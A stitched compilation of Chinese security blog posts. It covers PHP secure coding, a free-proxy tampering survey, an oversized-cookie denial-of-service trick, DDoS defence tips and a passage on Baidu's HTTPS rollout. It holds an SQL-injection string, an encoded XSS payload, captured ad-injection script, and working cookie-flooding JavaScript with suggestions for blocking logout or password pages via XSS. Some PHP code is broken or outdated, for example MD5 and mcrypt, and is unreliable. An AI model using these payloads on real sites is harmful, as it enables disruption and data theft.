open_basedir设置为 /tmp ,这样可以让session信息有存储权限,同时设置单独的网站根目录
expose_php设置为Off
allow_url_fopen设置为Off
allow_url_include设置为Off

SQL注入攻击

对于操作数据库的SQL语句,需要特别注意安全性,因为用户可能输入特定语句使得原有的SQL语句改变了功能。类似下面的例子:

$sql = "select * from pinfo where product = '$product'";

此时如果用户输入的$product参数为:

39'; DROP pinfo; SELECT 'FOO

那么最终SQL语句就变成了如下的样子:

select product from pinfo where product = '39'; DROP pinfo; SELECT 'FOO'

这样就会变成三条SQL语句,会造成pinfo表被删除,这样会造成严重的后果。
这个问题可以简单的使用PHP的内置函数解决:

$sql = 'Select * from pinfo where product = '"' 
       mysql_real_escape_string($product) . '"';

防止SQL注入攻击需要做好两件事:
对输入的参数总是进行类型验证
对单引号、双引号、反引号等特殊字符总是使用mysql_real_escape_string函数进行转义
但是,这里根据开发经验,不要开启php的Magic Quotes,这个特性在php6中已经废除,总是自己在需要的时候进行转义。

防止基本的XSS攻击

XSS攻击不像其他攻击,这种攻击在客户端进行,最基本的XSS工具就是防止一段javascript脚本在用户待提交的表单页面,将用户提交的数据和cookie偷取过来。
XSS工具比SQL注入更加难以防护,各大公司网站都被XSS攻击过,虽然这种攻击与php语言无关,但可以使用php来筛选用户数据达到保护用户数据的目的,这里主要使用的是对用户的数据进行过滤,一般过滤掉HTML标签,特别是a标签。下面是一个普通的过滤方法:

function transform_HTML($string, $length = null) {
// Helps prevent XSS attacks
    // Remove dead space.
    $string = trim($string);
    // Prevent potential Unicode codec problems.
    $string = utf8_decode($string);
    // HTMLize HTML-specific characters.
    $string = htmlentities($string, ENT_NOQUOTES);
    $string = str_replace("#", "#", $string);
    $string = str_replace("%", "%", $string);
    $length = intval($length);
    if ($length > 0) {
        $string = substr($string, 0, $length);
    }
    return $string;
}

这个函数将HTML的特殊字符转换为了HTML实体,浏览器在渲染这段文本的时候以纯文本形式显示。如<strong>bold</strong>会被显示为:
&lt;STRONG&gt;BoldText&lt;/STRONG&gt;
上述函数的核心就是htmlentities函数,这个函数将html特殊标签转换为html实体字符,这样可以过滤大部分的XSS攻击。
但是对于有经验的XSS攻击者,有更加巧妙的办法进行攻击:将他们的恶意代码使用十六进制或者utf-8编码,而不是普通的ASCII文本,例如可以使用下面的方式进行:

<a href="http://host/a.php?variable=%22%3e %3c%53%43%52%49%50%54%3e%44%6f%73%6f%6d%65%74%68%69%6e%67%6d%61%6c%69%63%69%6f%75%73%3c%2f%53%43%52%49%50%54%3e">

这样浏览器渲染的结果其实是:

<a href="http://host/a.php?variable="> <SCRIPT>Dosomethingmalicious</SCRIPT>

这样就达到了攻击的目的。为了防止这种情况,需要在transform_HTML函数的基础上再将#和%转换为他们对应的实体符号,同时加上了$length参数来限制提交的数据的最大长度。

使用SafeHTML防止XSS攻击

上述关于XSS攻击的防护非常简单,但是不包含用户的所有标记,同时有上百种绕过过滤函数提交javascript代码的方法,也没有办法能完全阻止这个情况。
目前,没有一个单一的脚本能保证不被攻击突破,但是总有相对来说防护程度更好的。一共有两个安全防护的方式:白名单和黑名单。其中白名单更加简单和有效。
一种白名单解决方案就是SafeHTML,它足够智能能够识别有效的HTML,然后就可以去除任何危险的标签。这个需要基于HTMLSax包来进行解析。
安装使用SafeHTML的方法:
1、前往http://pixel-apes.com/safehtml/?page=safehtml 下载最新的SafeHTML
2、将文件放入服务器的classes 目录,这个目录包含所有的SafeHTML和HTMLSax库
3、在自己的脚本中包含SafeHTML类文件
4、建立一个SafeHTML对象
5、使用parse方法进行过滤

<?php
/* If you're storing the HTMLSax3.php in the /classes directory, along
   with the safehtml.php script, define XML_HTMLSAX3 as a null string. */
define(XML_HTMLSAX3, '');
// Include the class file.
require_once('classes/safehtml.php');
// Define some sample bad code.
$data = "This data would raise an alert <script>alert('XSS Attack')</script>";
// Create a safehtml object.
$safehtml = new safehtml();
// Parse and sanitize the data.
$safe_data = $safehtml->parse($data);
// Display result.
echo 'The sanitized data is <br />' . $safe_data;
?>

SafeHTML并不能完全防止XSS攻击,只是一个相对复杂的脚本来检验的方式。

使用单向HASH加密方式来保护数据

单向hash加密保证对每个用户的密码都是唯一的,而且不能被破译的,只有最终用户知道密码,系统也是不知道原始密码的。这样的一个好处是在系统被攻击后攻击者也无法知道原始密码数据。
加密和Hash是不同的两个过程。与加密不同,Hash是无法被解密的,是单向的;同时两个不同的字符串可能会得到同一个hash值,并不能保证hash值的唯一性。
MD5函数处理过的hash值基本不能被破解,但是总是有可能性的,而且网上也有MD5的hash字典。

使用mcrypt加密数据
MD5 hash函数可以在可读的表单中显示数据,但是对于存储用户的信用卡信息的时候,需要进行加密处理后存储,并且需要之后进行解密。
最好的方法是使用mcrypt模块,这个模块包含了超过30中加密方式来保证只有加密者才能解密数据。

<?php
$data = "Stuff you want encrypted";
$key = "Secret passphrase used to encrypt your data";
$cipher = "MCRYPT_SERPENT_256";
$mode = "MCRYPT_MODE_CBC";
function encrypt($data, $key, $cipher, $mode) {
// Encrypt data
return (string)
            base64_encode
                (
                mcrypt_encrypt
                    (
                    $cipher,
                    substr(md5($key),0,mcrypt_get_key_size($cipher, $mode)),
                    $data,
                    $mode,
                    substr(md5($key),0,mcrypt_get_block_size($cipher, $mode))
                    )
                );
}
function decrypt($data, $key, $cipher, $mode) {
// Decrypt data
    return (string)
            mcrypt_decrypt
                (
                $cipher,
                substr(md5($key),0,mcrypt_get_key_size($cipher, $mode)),
                base64_decode($data),
                $mode,
                substr(md5($key),0,mcrypt_get_block_size($cipher, $mode))
                );
}
?>

mcrypt函数需要以下信息:
1、待加密数据
2、用来加密和解密数据的key
3、用户选择的加密数据的特定算法(cipher:如 MCRYPT_TWOFISH192,MCRYPT_SERPENT_256, MCRYPT_RC2MCRYPT_DES, and MCRYPT_LOKI97
4、用来加密的模式
5、加密的种子,用来起始加密过程的数据,是一个额外的二进制数据用来初始化加密算法
6、加密key和种子的长度,使用mcrypt_get_key_size函数和mcrypt_get_block_size函数可以获取
如果数据和key都被盗取,那么攻击者可以遍历ciphers寻找开行的方式即可,因此我们需要将加密的key进行MD5一次后保证安全性。同时由于mcrypt函数返回的加密数据是一个二进制数据,这样保存到数据库字段中会引起其他错误,使用了base64encode将这些数据转换为了十六进制数方便保存。

参考文献:http://www.codeproject.com/Articles/363897/PHP-Security

PHP开发安全问题总结,首发于博客 – 伯乐在线

分析了443个免费代理 其中只有21%没有黑幕 那么剩下的79%呢

我的web服务-Proxy Checker现在正式上线了!你可以使用它来测试代理服务器的安全性。源代码将会在稍后公布出来。

由于我于2013年所发表的文章《为什么免费的代理会是免费的?》在Reddit网上收到了广泛的好评,所以我决定我将继续发表一篇相关文章。这一次,我将会尝试寻找一种使用了我在文章中所描述技术的代理服务。

所以,我写了一个非常简易的脚本(实际上是一个php函数),这个脚本会从不同的地方调用各种Javascript脚本文件,并且通过这些文件来检查修改过的内容。

如果你对代码不感兴趣,你可以跳转至扫描部分。

我所说的“非常简易”,是真的非常简易,因为下面的代码就是整个函数:

function scanProxy($proxy,$url,$socks=true,$timeout=10) { 
$ch = curl_init($url); 
$headers["User-Agent"] = "Proxyscanner/1.0"; curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_HEADER, 0); //we don't need headers in our output 
curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,$timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); //return output as string 
$proxytype = ($socks?CURLPROXY_SOCKS5:CURLPROXY_HTTP); //socks or http proxy? 
if($proxy) { 
curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_PROXYTYPE, $proxytype); 
} 
$out = curl_exec($ch); 
curl_close($ch); 
return trim($out); 
}

如果你需要查看我在扫描时所使用的完整脚本文件,你可以点击这里获取。我没有为大家提供一个代理服务的列表,但是获得这样的一个列表并不是什么难事。

我最近正在开发一个开源的web端服务,该服务名为Proxy Check,它正是基于这个函数而开发的。在网站上,你可以测试你在网上所找到的代理。我计划过几天将这个服务上线。

如果需要测试代理服务,你仅仅需要将代理的文件/脚本/图片/页面等数据的URL地址递交上去,然后它将会把测试数据返回给你。

下面是一个简单的使用示例:

//requesting a JS file from this blog 
$proxy_data=scanProxy('127.0.0.1:9050','https://blog.haschek.at/js/blog.js'); 
//requesting reference data so we can check if something is altered 
$reference_data=scanProxy(false,'https://blog.haschek.at/js/blog.js'); 
if(($proxy_data!=$reference_data) && $reference_data) //if the data is different but the proxy has sent something 
echo "[!] Proxy modified the content!\n"; 
else if(!$reference_data) 
echo "[-] Proxy is down\n"; 
else 
echo "[+] Proxy did not modify the content\n";

 

你可以通过使用这个函数,来完成各种各样的分析和测试

  • 你可以通过访问网站http://ip.haschek.at来查看代理是否隐藏了你的IP地址,该网站会显示出你的IP地址,并且你可以通过查询相关参考数据来确定这个IP地址是否与你的公共IP地址相同。
  • 检查代理是否使用了HTTPS隧道通信。如果没有使用,那么可能是因为服务器的所有者只需要得到明文信息,以便于他们从你的通信信息中提取出相关的数据。
  • 检测代理是否向静态网站中添加了任何的数据信息(例如:广告)

让我们来对443个免费代理进行检测

我从各种地方收集到了大量的代理,但我通过Google搜索发现,所有的这些代理都指向了某些固定站点。

我们到底需要检测什么?

  • 是否允许使用HTTPS?
  • JS脚本是否被修改?
  • 静态网站页面内容是否被修改?
  • 代理会隐藏我的IP地址吗?

检测结果

测试                               结果

测试数量                       443(100%)

线上                              199(44.9%)

线下                              244(55.1%)

未使用HTTPS              157(79%)

JS文件被修改              17(8.5%)

HTML页面被修改         33(16.6%)

没有隐藏IP地址           0(0%)

网页内容没有修改      149(75%)

所以,75%的代理都是安全的,对吗?

代理没有修改你的数据内容,并不意味着它就是安全的。如果你想要安全地使用一个免费代理,唯一的方法就是使用支持HTTPS的代理,并且只访问强制使用HTTPS的网站。但是,目前仅有21%的代理支持HTTPS通信。

结果

网上免费的代理服务器往往是离线的,这并不令人惊讶,但是我并不希望这么多的代理服务器都将HTTPS通信禁止了。他们禁止HTTPS通信是有原因的,因为他们想要用户去使用HTTP进行通信,这样他们便可以分析你的通讯信息,并且窃取你的登录信息了。

在上述的199(8.5%)个代理里面,仅有17个代理修改了JS脚本,而且其中大多数的代理是为了向客户页面注入广告。但是其中有两个网站的修改信息却是错误数据或者网页过滤器的警告信息。

有33个代理服务器(16.6%)修改了静态HTML网页信息并且 注入了广告。其中,大多数的代理服务器在脚本结束标签之前注入了下列的代码:

<link rel="stylesheet" type="text/css" href="http://ads.adt100.com/css/bottom.css" /><div id="center_xad" class="cwindow_xad"><div class="center_title_xad" id="center_title_xad"><img onclick="closeWindow()" width="39px" id="cwindow_xclose" height="11px" src="http://ads.adt100.com/images/close_btn.gif"></div><div id="center_xad_cnt" class="injection_content"></div></div><div id="right_xad" class="window_xad"><div class="right_title_xad" id="right_title_xad"><img onclick="closeWindow()" id="cwindow_rclose" width="39px" height="11px" src="http://ads.adt100.com/images/close_btn.gif"></div><div id="right_xad_cnt" class="injection_content"></div></div><script src="http://ads.adt100.com/js/bottom.js"></script>

这绝对是恶意广告软件,而且还有可能会导致cookie被窃取。我并没有对这些代码进行进一步的研究,但是如果你想要对它们进行研究,那么当你有任何发现的时候,请你告知我。

其他代理服务的广告注入则显得更加的隐蔽。他们在页面头部插入了一个脚本标签,如下所示:

<script type="text/javascript" charset="utf-8" mediaproAccountID="0" mediaproSlotID="0" usermac="" src="/7b26d4601fbe440b35e496a0fcfa15f7/00212600d7e6/w1/i.js" async="async" defer></script><meta charset="utf-8">

在这里,有趣的事情就是这些代码看似指向一个本地的JS脚本文件。当浏览器通过代理请求调用这个文件的时候,代理会劫持这个请求,并且以受感染的JS文件进行回应。正如其他的链接一样,这并不是一个跨域JS链接,这样做非常的聪明。

如果你依旧认为你必须使用这些免费的代理服务,那么请你尝试使用支持HTTPS通信的代理服务,并且尽量只浏览那些安全性能够得到保障的网站。

分析了443个免费代理 其中只有21%没有黑幕 那么剩下的79%呢,首发于博客 – 伯乐在线

超大 Cookie 拒绝服务攻击

有没有想过,如果网站的 Cookie 特别多特别大,会发生什么情况?

不多说,马上来试验一下:

for (i = 0; i < 20; i++)
    document.cookie = i + '=' + 'X'.repeat(2000)

什么,网站居然报错了?

众所周知,Cookie 是塞在请求头里的。如果 Cookie 太多,显然整个 HTTP 头也会被撑大。

然而现实中,几乎所有的服务器都会对请求头长度做限制,避免畸形封包消耗服务器资源。

那么有趣的事就来了 —— Cookie 是可以长期储存的,所以只要不过期,对应的站点就一直无法访问!

不信?点击这里试试 (警告:不会清 Cookie 的用户慎点

为什么会这样!因为博客园是支持自定义装扮的,用户可以嵌入自己的脚本。于是,一旦执行了恶作剧脚本,站点 Cookie 被污染,导致整个网站都无法访问了!

进阶

根据这个原理,我们继续挖掘 Cookie 的相关属性,让攻击效果变得更好。

expires

Cookie 之所以能被持久储存,完全得益于 expires 这个过期值。

理论上,Cookie 的过期时间可以足够长。不过鉴于实际情况,最多也就几个月的时间。

但对于互联网来说,这也非常长了,谁能容忍一个网站几个月没法用?

所以,我们可以设置足够久的过期时间 —— 只要用户不主动清空 Cookie,相应的站点就一直没法访问!


domain

例如博客园,所有用户都在 www.cnblogs.com 下。除了这个主站,能否将其他的子站服务也一起破坏呢?

答案是可以!因为 Cookie 具有一个特殊的属性 domain,它允许子站设置上级站点的 Cookie。甚至可以是根域!

于是 www.cnblogs.com 的页面,就能写入超大 Cookie 到 cnblogs.com 域下了。

未来,只要用户访问 *.cnblogs.com 的资源,统统变成 400 了。

这个特征可被利用到 XSS 攻击上。只要某网站任何一个子站能够运行跨站脚本,攻击者就可以对该网站进行全站屏蔽了!(GFW:比我还狠~)


path

不过太霸道也是不好的。尤其是这年头大家都懂些网络知识,清缓存这样简单的事,不少小白用户都会尝试下。

所以,为了低调起见,我们不对页面进行屏蔽,以免被过早被用户发现。

我们只屏蔽特殊的 URL,例如 AJAX 请求接口。这样,页面仍能正常打开,只是后期的一些操作总是提示失败 —— 于是,用户大多会认为是网站出问题了,而不会怀疑是自己的原因。

为了能更精确的控制 Cookie 粒度,path 属性得利用起来。例如,我们只污染博客园的 /mvc/vote/VoteComment.aspx 页面:

for (i = 0; i < 20; i++) {
	document.cookie = i + '=' + 'X'.repeat(2000) + ';domain=cnblogs.com; path=/mvc/vote/VoteComment.aspx'

这样,页面仍能正常浏览,只是把『点赞』功能给屏蔽了:

是不是很有趣:)

这种局部屏蔽的效果,显然有更好的迷惑性。


协议

仔细回顾一遍 Cookie 属性,除了 secure,再没和 URL Scheme 相关的属性了。

这意味着,HTTP 和 HTTPS 的 Cookie 默认都是共享的。因此,我们可以在 HTTP 下屏蔽 HTTPS 站点了!

不过 XSS 也不是也想有就能有的,但在特殊的条件下,任何站点都可以有 XSS —— 那就是流量被劫持的时候。

当用户流量被劫持时,中间人可以模拟出任何 HTTP 站点,因此就能对任意站点设置 Cookie:

当用户打开任意 HTTP 页面时,往其中注入脚本。接着悄悄创建目标站点的隐藏框架页,中间人返回特定的页面内容,其中的脚本即可修改目标站点 Cookie 了。

下面就来尝试一下吧。

通过代理,我们模拟流量被劫持的场景。当打开任意页面时,开始对目标站点释放 DeBuff:

主页面的实现:

目标框架页实现:

通过一堆框架页,即可批量对目标站点的 Cookie 进行修改。

最后,切换回正常网络 —— 发现邪恶光环仍在生效:

更杯具的是,连加密传输的 HTTPS 站点也未能幸免:

中间人缓存攻击,又多了一种新玩法!

用途

或许你要说了,这除了恶作剧恶搞之外,有实际意义吗。

不过,只要充分发挥想象,还是能玩出一些有趣的效果。例如配合 XSS:

  • 屏蔽资料修改页面,阻止用户改密码
  • 屏蔽注销接口,保持用户会话不过期
  • 屏蔽管理后台,让管理员暂时无法操作(XSS 盲打时,对管理员造成眩晕效果,持续时间视管理员 IQ 而定)

或者流量劫持的场合:

  • 屏蔽前端检测脚本,降低用户安全性
  • 屏蔽程序、补丁的更新站点,等等

小结

当然,这种所谓的『拒绝服务』,只是本地自欺欺人而已,对真实服务器并没什么影响。

虽然效果不及传统攻击,但这种方式显得更文明一些。只对部分人、甚至部分功能实施攻击,而完全不妨碍其他用户。

超大 Cookie 拒绝服务攻击,首发于博客 – 伯乐在线

防范 DDoS 攻击的 15 个方法

为了对抗 DDoS(分布式拒绝服务)攻击,你需要对攻击时发生了什么有一个清楚的理解. 简单来讲,DDoS 攻击可以通过利用服务器上的漏洞,或者消耗服务器上的资源(例如 内存、硬盘等等)来达到目的。DDoS 攻击主要要两大类: 带宽耗尽攻击和资源耗尽攻击. 为了有效遏制这两种类型的攻击,你可以按照下面列出的步骤来做:

1. 如果只有几台计算机是攻击的来源,并且你已经确定了这些来源的 IP 地址, 你就在防火墙服务器上放置一份 ACL(访问控制列表) 来阻断这些来自这些 IP 的访问。如果可能的话 将 web 服务器的 IP 地址变更一段时间,但是如果攻击者通过查询你的 DNS 服务器解析到你新设定的 IP,那这一措施及不再有效了。

2. 如果你确定攻击来自一个特定的国家,可以考虑将来自那个国家的 IP 阻断,至少要阻断一段时间.

3、监控进入的网络流量。通过这种方式可以知道谁在访问你的网络,可以监控到异常的访问者,可以在事后分析日志和来源IP。在进行大规模的攻击之前,攻击者可能会使用少量的攻击来测试你网络的健壮性。

4、对付带宽消耗型的攻击来说,最有效(也很昂贵)的解决方案是购买更多的带宽。

5、也可以使用高性能的负载均衡软件,使用多台服务器,并部署在不同的数据中心。

6、对web和其他资源使用负载均衡的同时,也使用相同的策略来保护DNS。

7、优化资源使用提高 web server 的负载能力。例如,使用 apache 可以安装 apachebooster 插件,该插件与 varnish 和 nginx 集成,可以应对突增的流量和内存占用。

8、使用高可扩展性的 DNS 设备来保护针对 DNS 的 DDOS 攻击。可以考虑购买 Cloudfair 的商业解决方案,它可以提供针对 DNS 或 TCP/IP3 到7层的 DDOS 攻击保护。

9、启用路由器或防火墙的反IP欺骗功能。在 CISCO 的 ASA 防火墙中配置该功能要比在路由器中更方便。在 ASDM(Cisco Adaptive Security Device Manager)中启用该功能只要点击“配置”中的“防火墙”,找到“anti-spoofing”然后点击启用即可。也可以在路由器中使用 ACL(access control list)来防止 IP 欺骗,先针对内网创建 ACL,然后应用到互联网的接口上。

10、使用第三方的服务来保护你的网站。有不少公司有这样的服务,提供高性能的基础网络设施帮你抵御拒绝服务攻击。你只需要按月支付几百美元费用就行。

11、注意服务器的安全配置,避免资源耗尽型的 DDOS 攻击。

12、听从专家的意见,针对攻击事先做好应对的应急方案。

13、监控网络和 web 的流量。如果有可能可以配置多个分析工具,例如:Statcounter 和 Google analytics,这样可以更直观了解到流量变化的模式,从中获取更多的信息。

14、保护好 DNS 避免 DNS 放大攻击。

15、在路由器上禁用 ICMP。仅在需要测试时开放 ICMP。在配置路由器时也考虑下面的策略:流控,包过滤,半连接超时,垃圾包丢弃,来源伪造的数据包丢弃,SYN 阀值,禁用 ICMP 和 UDP 广播。

最后多了解一些 DDOS 攻击的类型和手段,并针对每一种攻击制定应急方案。

防范 DDoS 攻击的 15 个方法,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(4):协议层以外的实践

1 前言

网上介绍 https 的文章并不多,更鲜有分享在大型互联网站点部署 https 的实践经验,我们在考虑部署 https 时也有重重的疑惑。

本文为大家介绍百度 HTTPS 的实践和一些权衡, 希望以此抛砖引玉。

2 协议层以外的实践工作

2.1 全站覆盖 https 的理由

很多刚接触 https 的会思考,我是不是只要站点的主域名换了 https 就可以?答案是不行。

https 的目的就是保证传输过程的安全,如果只有主域名上了 https,但是主域名加载的资源,比如 js,css,图片没有上 https,会怎么样?

从效果上来说,没有达到保证网站传输过程安全的目的,因为你的 js,css,图片仍然有被劫持的可能性,如果这些内容被篡改 / 嗅探了,那么 https 的意义就失去了。

浏览器在设计上早就考虑的这样的情况,会有相应的提示。具体的实现依赖浏览器,例如地址栏锁形标记从绿色变为黄色, 阻止这次请求,或者直接弹出非常影响用户体验的提示 (主要是 IE),用户会感觉厌烦,疑惑和担忧安全性。

很多用户看见这个链接会习惯性的点”是”,这样非 https 的资源就被禁止加载了。非 ie 的浏览器很多也会阻止加载一些危害程度较高的非 https 资源(例如 js)。我们发现移动端浏览器的限制目前会略松一些。

所以这里要是没做好,很多情况连网站的基本功能都没法正常使用。

2.2 站点的区别

很多人刚接触 https 的时候,觉得不就是部署证书,让 webserver 支持 https 就行了吗。

实际上对于不同的站点来说,https 的部署方式和难度有很大的区别。对于一个大型站点来说,让 webserver 支持 https,以及对 webserver 在 https 协议特性上做一些优化,在迁移的工作比重上,可能只占到 20%-40%。

我们考虑下以下几种情况下,部署 https 的方案。

2.2.1 简单的个人站点

简单的定义:资源只从本站的主域或者主域的子域名加载。

比如 axyz 的个人 blog,域名是 axyzblog.com。加载主域名下的 js 和图片。

这样的站部署 https,在已有证书且 webserver 支持的情况下,只需要把主域名替换为 https 接入,然后把资源连接修改为 https:// 或者 //。

2.2.2 复杂的个人站点

复杂的定义:资源需要从外部域名加载。

这样就比较麻烦了,主域资源容易适配 https,在 cdn 上加载的资源还需要 cdn 服务商支持 https。目前各大 cdn 的服务商正在逐渐提供 https 的支持,需要迁移的朋友可以看看自己使用的 cdn 是否提供了这项能力。一些 cdn 会对 https 流量额外收费。

Cdn 使用 https 常见的方案有:

1 网站主提供私钥给 cdn,回源使用 http。

2 cdn 使用公共域名,公共的证书,这样资源的域名就不能自定义了。回源使用 http。

3 仅提供动态加速,cdn 进行 tcp 代理,不缓存内容。

4 CloudFlare 提供了Keyless SSL的服务,能够支持不愿意提供私钥, 不想使用公共的域名和证书却又需要使用 cdn 的站点了。

2.2.3 简单的大型站点

简单的定义: 资源只从本站的主域, 主域的子域,或者自建 / 可控的 cdn 域名加载,几乎没有第三方资源。如果网站本身的特性就如此,或愿意改造为这样的类型,部署 https 就相对容易。Google Twitter 都是非常好的范例。优点:已经改成这样的站点,替换 https 就比较容易。缺点:如果需要改造,那么要很大的决心,毕竟几乎不能使用多样化的第三方资源了。

2.2.4 复杂,访问速度重要性稍低的大型站点

复杂的定义:从本站的非主域,或者第三方站点的域名有大量的第三方资源需要加载,多出现在一些平台类,或者有复杂内容展现的的网站。

访问速度要求:用户停留时间长或者强需求,用户对访问速度的耐受程度较高。比如门户,视频,在线交易类(比如火车票 机票 商城)网站。

这样的站点,可以努力推动所有相关域名升级为支持 https。我们用下图举例说明下这样修改会导致一个网站的链接发生怎样的改变。

负责流量接入的团队将可控的接入环境改造为 http 和 https 都支持,这样前端工程的工作相对就少一些。大部分时候将链接从 http:// 替换为 // 即可. 在主域名是 https 的情况下,其它资源就能自动从 https 协议下加载。一些第三方资源怎么办?一般来说只有两种选择,一迁移到自己的 cdn 或者 idc 吧,二强制要求第三方自己能支持 https。

以全站 https 接入的 facebook 举例。第三方厂商想在 facebook 上线一个游戏。facebook:请提供 https 接入吧。第三方想:能赚钱啊,还是提供下 https 接入吧。所以,足够强势,有吸引力,合作方也有提供 https 的能力的话,这是完全可行的。如果你的平台接入的都是一些个人开发者,而且还赚不到多少钱的情况下,这样就行不通了。

优点:前端改动相对简单,不容易出现 https 下还有 http 的资源问题。

缺点:通常这样的实现下,用户的访问速度会变慢,比如从 2.5 秒变为 3 秒,如上述的理由,用户还是能接受的。对第三方要求高。

2.2.5 复杂,访问速度有严格要求的大型站点

复杂的定义:同上。

访问速度要求:停留时间不长,用户对访问速度的心理预期较高。

但是如果用户把网站当作工具使用,需要你很快给出响应的时候,这样的实现就不好了。后续几个部分我们介绍下这些优化的抉择。

2.3 域名的选择

域名对访问速度的影响具有两面性:域名多,域名解析和建立连接的时间就多;域名少,下载并发度又不够。

https 下重建连接的时间成本比 http 更高,对于上面提到的简单的大型站点, 可以用少量域名就能满足需求,对于百度这样富展现样式较多的搜索引擎来说,页面可能展示的资源种类太多。而不同类型的资源又是由不同的域名 (不同的产品 或者第三方产品) 提供的服务,换一个词搜索就可能需要重新建立一些资源的 ssl 链接,会让用户感受到卡顿。

如果将域名限制在有限的范围,维持和这些域名的连接,合并一些数据,加上有 spdy,http2.0 来保证并发,是可以满足我们的需求的。

2.4 连接复用

连接复用率可以分为 tcp 和 ssl 等不同的层面,需要分开进行分析和统计。

2.4.1 连接复用的意义

HTTP 协议 (RFC2616) 规定一个域名最多不能建立超过 2 个的 TCP 连接。但是随着互联网的发展,一张网页的元素越来越多,传输内容越来越大,一个域名 2 个连接的限制已经远远不能满足现在网页加载速度的需求。

目前已经没有浏览器遵守这个规定,各浏览器针对单域名建立的 TCP 连接数如下:

浏览器 连接数
Firefox 2 2
Firefox 3+ 6
Chrome 6
Ie10 8
IE8 6
Safari 5 6
Opera 12 6

表格 1 浏览器单域名建立的最大并发连接数

从上表看出,单个域名的连接数基本上是 6 个。所以只能通过增加域名的方式来增加并发连接数。在 HTTP 场景下,这样的方式没有什么问题。但是在 HTTPS 连接下,由于 TLS 连接建立的成本比较高,增加并发连接数本身就会带来较大的延迟,所以对域名数需要一个谨慎的控制。

特别是 HTTP2 即将大规模应用,而 HTTP2 的最大特性就是多路复用,使用多个域名和多个连接无法有效发挥多路复用和压缩的特性。

那 HTTPS 协议下,一张网页到底该有多少域名呢?这个其实没有定论,取决于网页需要加载元素个数。

2.4.2 预建连接

既然从协议角度无法减少握手对速度的影响,那能不能提前建立连接,减少用户可以感知的握手延迟呢?当然是可以的。思路就是预判当前用户的下一个访问 URL,提前建立连接,当用户发起真实请求时,TCP 及 TLS 握手都已经完成,只需要在连接上发送应用层数据即可。

最简单有效的方式就是在主域下对连接进行预建,可以通过请求一些静态资源的方式。但是这样还是不容易做到极致,因为使用哪个连接,并发多少还是浏览器控制的。例如你对 a 域名请求一个图片,浏览器建立了两个连接,再请求一张图片的时候,浏览器很大概率能够复用连接,但是当 a 域名需要加载 10 个图片的时候,浏览器很可能就会新建连接了。

2.4.3 Spdy 的影响

Spdy 对于连接复用率的提升非常有效,因为它能支持连接上的并发请求,所以浏览器会尽量在这个链接上保持复用。

2.4.4 其它

也可以尝试一些其他发方法,让浏览器在访问你的网站之前就建立过 https 连接,这样 session 能够复用。HSTS 也能有效的减少跳转时间,可惜对于复杂的网站来说,开启需要考虑清楚很多问题。

2.5 优化的效果

从百度的优化经验来看看,如果不开启 HSTS,用户在浏览器直接访问主域名,再通过 302 跳转到 HTTPS。增加的时间平均会有 400ms+,其中 302 跳转和 ssl 握手的因素各占一半。但是对于后续的请求,我们做到了对绝大部分用户几乎无感知。

这 400ms+ 还有很多可以优化的空间,我们会持续优化用户的体验。

3 HTTPS 迁移遇到的一些常见问题。

3.1 传递 Referrer

我们可以把自己的网站替换为 https,但是一般的站点都有外链,要让外链都 https 目前还不太现实。很多网站需要从 referrer 中判断流量来源,因此对于搜索引擎这样的网站来说,referer 的传递还是比较重要的。如果不做任何设置,你会发现在 https 站点中点击外链并没有将 referrer 带入到 http 请求的头部中(http://tools.ietf.org/html/rfc7231#section-5.5.2)。现代的浏览器可以用 meta 标签来传递 refer。(http://w3c.github.io/webappsec/specs/referrer-policy)

<meta name=”referrer” content=”always”> 传递完整的 url

<meta name=”referrer” content=”origin”> 只传递站点,不包含路径和参数等。

对于不支持 meta 传递 referrer 的浏览器,例如 IE8, 我们怎么办呢?

可以采用再次跳转的方法,既然 HTTPS 下不能给 HTTP 传递 referer,我们可以先从 HTTPS 访问一个可控的 http 站点,把需要传递的内容放到这个 http 站点的 url 中,然后再跳转到目标地址。

3.2 form 提交

有时需要将 form 提交到第三方站点,而第三方站点又是 http 的地址,浏览器会有不安全的警告。可以和 referrer 的跳转传递采取相似的逻辑。

但是这样对 referer 和 form 等内容的方案,并不是完美的解决方法,因为这样还是增加了不安全的因素(劫持,隐私泄露等 )。理想情况需要用户升级符合最新规范的浏览器,以及推进更多的站点迁移至 https。

3.3 视频播放

简单来说,如果你使用 http 的协议来播放视频,那么浏览器仍然会有不安全的提示。所以你有两种选择,1 让视频源提供 https。2 使用非 http 的协议,如 rtmp 协议。

3.4 用户异常

在 https 迁移的过程中,也会有不少热心的用户向我们反馈遇到的各种问题。

常见的有以下的一些情况:

1 用户的系统时间设置错误,导致提示证书过期。

2 用户使用 fiddler 等代理进行调试,但是没有添加这些软件的根证书,导致提示证书非法。

3 用户使用的 Dns 为公共 dns 或者跨网设置 dns,一些请求被运营商作为跨网流量拦截。

4 连通性有问题,我们发现一个小运营商的 https 失败率奇高,又没法联系到他们,只能不对他们进行 https 的转换。

5 慢。有时由于网络环境的因素,用户打开其他网站也慢,ping 哪个网站都要 500-2000ms。这时 https 自然也会很慢。

4 结束语

对于复杂的大型网站来说,HTTPS 的部署有很多工作要完成。

面对困难和挑战,有充足的动力支持着我们前进:https 上线后,劫持等原因导致的用户功能异常,隐私泄露的反馈大幅减少。

热心的用户经常会向我们反馈遇到的各种问题。在以前,有时即使我们确定了是劫持的问题,能够解决问题的方法也非常有限。每当这种时候,自己总会产生一些无力感。

HTTPS 的全站部署,给我们提供了能解决大部分问题的选项。能让一个做技术的人看到自己的努力解决了用户的问题,这就是最棒的收获。

HTTPS 没有想像中难用和可怕,只是没有经过优化。与大家共勉。

大型网站的 HTTPS 实践(4):协议层以外的实践,首发于博客 – 伯乐在线

大型网站的 HTTPS 实践(3):基于协议和配置的优化

1 前言

上文讲到 HTTPS 对用户访问速度的影响。

本文就为大家介绍 HTTPS 在访问速度,计算性能,安全等方面基于协议和配置的优化。

2 HTTPS 访问速度优化

2.1 Tcp fast open

